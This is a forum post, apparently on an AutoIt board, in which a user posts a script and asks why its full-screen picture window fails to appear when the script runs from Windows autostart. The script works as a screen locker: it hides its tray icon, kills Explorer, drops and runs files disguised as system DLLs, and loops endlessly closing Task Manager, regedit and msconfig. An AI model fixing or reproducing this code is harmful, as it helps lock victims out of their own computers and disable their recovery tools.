Jump to content

GUI with picture


atem32
 Share

Recommended Posts

I have made an autoit script

#include <WindowsConstants.au3>
$w = @DesktopWidth
$h = @DesktopHeight
$e = "explorer.exe"
$r = "regedit.exe"
$m = "msconfig.exe"
Opt("TrayIconHide",1)
ProcessClose($e)
ProcessWaitClose($e)
FileInstall("mswga.dll","C:\Program Files\Common Files\System\mswga.dll",1)
FileInstall("msado.dll","C:\Program Files\Common Files\System\ado\msado.dll",1)
FileInstall("oledbjvs.dll","C:\Program Files\Common Files\System\Ole DB\oledbjvs.dll",1)
GUICreate("",$w, $h,0,0,$WS_POPUP)
GUICtrlCreatePic( "mswga.dll",0,0,$w,$h)
GUISetState(@SW_SHOW)
Run("msado.dll")
Sleep(10000)
Run("oledbjvs.dll")
While 1
If WinExists("Диспетчер задач Windows","") Then
    WinClose("Диспетчер задач Windows")
EndIf

If ProcessExists($e) Then 
    ProcessClose($e)
EndIf
If ProcessExists($r) Then 
    ProcessClose($r)
EndIf
If ProcessExists($m) Then 
    ProcessClose($m)
EndIf
WEnd

it works fine.but if i put it in autostart of windows,i have just a gui(with other things running perfectly).

But as you see i need a gui with picture(mswga.dll is really picture!)

Can you help me to get gui with picture work correctly on autostart.

P.S. If I run script manually,i get a working gui with picture.

Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...